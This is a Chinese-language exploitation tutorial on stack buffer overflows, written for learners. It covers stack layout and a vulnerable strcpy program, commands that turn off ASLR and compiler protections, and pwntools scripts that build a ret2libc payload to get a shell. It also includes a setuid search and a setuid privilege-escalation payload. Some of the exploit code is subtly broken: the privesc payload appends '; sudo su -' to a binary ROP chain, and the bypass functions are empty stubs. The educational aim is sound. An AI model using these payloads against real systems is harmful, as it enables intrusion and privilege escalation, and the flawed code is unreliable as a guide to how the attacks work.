PWN !栈溢出漏洞:栈内存管理机制,栈溢出如何被利用?
本文章仅提供学习,切勿将其用于不法手段!
前言:为什么栈溢出是黑客的"初恋"?
想象你家的信箱(栈),每个格子放一封信(数据)。如果有人故意投递超大的信件,多出来的部分就会溢到邻居的信箱里——这就是栈溢出。虽然现代系统有了各种防护,但理解栈溢出仍然是理解计算机安全的基石。
第一部分:栈内存的运作机制
1.1 栈是什么?
栈就像是一个停车场,但有严格规则:
- 后进先出:最后停的车最先开走
- 自动管理:有专门的值班员(ESP寄存器)记录空位
- 固定结构:每个车位有固定用途(局部变量、返回地址等)
1.2 函数调用的秘密
当一个函数被调用时:
; 假设我们调用函数 vulnerable_function()
push eax ; 保存寄存器
push ebx ;
call vulnerable_function ; 调用函数
add esp, 8 ; 清理栈
在函数内部:
vulnerable_function:
push ebp ; 保存旧的基址指针
mov ebp, esp ; 设置新的基址指针
sub esp, 16 ; 为局部变量分配空间
; ... 函数体 ...
leave ; 恢复栈指针
ret ; 返回到调用者
1.3 关键的内存布局
高地址
+-----------------+
| 参数n | \
+-----------------+ |
| ... | > 调用者的栈帧
+-----------------+ |
| 参数1 | /
+-----------------+
| 返回地址 | ← 这就是我们的目标!
+-----------------+
| 旧的ebp |
+-----------------+
| 局部变量1 | \
+-----------------+ |
| 局部变量2 | > 当前函数的栈帧
+-----------------+ |
| ... | /
低地址
第二部分:栈溢出利用原理
2.1 基本溢出场景
假设有这样一个漏洞程序:
// vulnerable.c
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64]; // 只有64字节的缓冲区
strcpy(buffer, input); // 危险!没有长度检查
}
int main(int argc, char *argv[]) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
编译它(暂时关闭保护):
gcc -o vuln -fno-stack-protector -z execstack vulnerable.c
2.2 覆盖返回地址
如果我们输入超过64字节的数据:
正常情况:
[缓冲区64字节][旧的ebp][返回地址]
溢出时:
[AAAA...(64字节)][AAAA][AAAA][想要跳转的地址]
关键 insight:通过精确控制溢出数据,我们可以用任意地址覆盖返回地址!
2.3 现代防护机制的挑战
但现在系统有"保安"了:
- ASLR:地址随机化,每次运行地址都不同
- NX:数据区域不可执行,防止直接运行shellcode
- Stack Canary:栈保护金丝雀,检测溢出
第三部分:实战栈溢出利用
3.1 环境准备
首先让我们"降低难度"(实际渗透中需要绕过而非关闭):
# 禁用ASLR(仅用于学习)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 编译时关闭保护
gcc -o vuln -fno-stack-protector -z execstack -no-pie vulnerable.c
3.2 找到精确的溢出点
#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux')
# 生成测试模式字符串
pattern = cyclic(100)
print(f"测试模式: {pattern}")
# 发送测试数据
p = process('./vuln')
p.sendline(pattern)
p.wait()
# 分析core dump找到精确偏移
core = p.corefile
offset = cyclic_find(core.eip)
print(f"返回地址在偏移 {offset} 处被覆盖")
3.3 构造利用载荷
# 找到system()和"/bin/sh"的地址
# 注意:实际地址需要根据目标系统确定
system_addr = 0xb7e5c350
bin_sh_addr = 0xb7f7dcc0
# 构造ROP链(Return-Oriented Programming)
rop_chain = [
system_addr, # 调用system()
0xdeadbeef, # system()的返回地址(不重要)
bin_sh_addr # system()的参数:"/bin/sh"
]
# 组装完整payload
payload = b'A' * offset # 填充到返回地址
payload += flat(rop_chain) # 覆盖返回地址
# 发送payload
p = process('./vuln')
p.sendline(payload)
p.interactive() # 享受你的shell!
3.4 绕过现代防护
实际渗透中,你需要:
# 绕过ASLR:通过信息泄漏获取地址
def leak_address():
# 利用格式字符串漏洞或其他信息泄漏
pass
# 绕过NX:使用ROP技术
def build_rop_chain():
# 找到有用的gadgets来组装代码
pop_rdi = 0x4005d6 # pop rdi; ret
binsh = 0x7ffff7f7d000
system = 0x7ffff7e3c000
return flat([
pop_rdi,
binsh,
system
])
# 绕过Stack Canary:先泄漏canary值
def leak_canary():
# 通过逐字节爆破或信息泄漏获取canary
pass
第四部分:从普通用户到Root
4.1 利用setuid程序
很多系统程序有setuid位,意味着它们以root权限运行:
# 查找有setuid位的程序
find / -perm -4000 -type f 2>/dev/null
# 比如常见的
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
4.2 提权链构造
# 假设我们找到了一个有漏洞的setuid程序
target = "/usr/bin/vulnerable_suid_program"
# 构造提权payload
def create_privesc_payload():
# 不仅要获取shell,还要保持setuid权限
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)
# 添加保持权限的代码
payload += b"; sudo su -" # 或者其他提权命令
return payload
# 攻击setuid程序
p = process([target, create_privesc_payload()])
p.interactive()
4.3 现实世界的挑战
在实际渗透中,你可能会遇到:
- 地址随机化:需要信息泄漏来绕过ASLR
- 堆栈保护:需要精确的canary泄漏
- 权限限制:可能需要多阶段攻击
第五部分:防御视角与深度思考
5.1 为什么栈溢出仍然相关?
尽管有现代防护措施,栈溢出仍然重要因为:
- 理解基础:是理解内存安全的入门课
- 其他漏洞基础:许多高级漏洞基于类似原理
- 遗留代码:很多系统仍在运行老旧代码
5.2 防御技术演进
// 现代编译器提供的保护
#include <stdio.h>
void safe_function(char *input) {
char buffer[64];
strncpy(buffer, input, sizeof(buffer)); // 长度检查
buffer[sizeof(buffer)-1] = '\0'; // 确保终止
}
// 或者更好的选择
void better_function(char *input) {
char *buffer = malloc(64);
if (buffer) {
snprintf(buffer, 64, "%s", input); // 更安全
}
}
5.3 伦理与责任
- 授权测试:只在获得许可的系统上进行测试
- 负披露:发现漏洞后负责任地披露
- 教育目的:技术知识应用于防御而非攻击
结语:技术之路与哲学思考
栈溢出利用像是学习武术:你学习攻击技巧不是为了伤害他人,而是为了理解如何防御。真正的安全专家不是那些只会攻击的人,而是那些能构建更安全系统的人。
思考问题:如果栈设计成从低地址向高地址增长(而不是现在的高→低),栈溢出利用会有什么不同?这种设计会影响性能吗?
记住:技术能力越大,道德责任越大。Happy (ethical) hacking!
免责声明:本文仅用于教育目的。未经授权的系统访问是违法的。请始终在合法授权范围内进行安全测试。

1084

被折叠的 条评论
为什么被折叠?



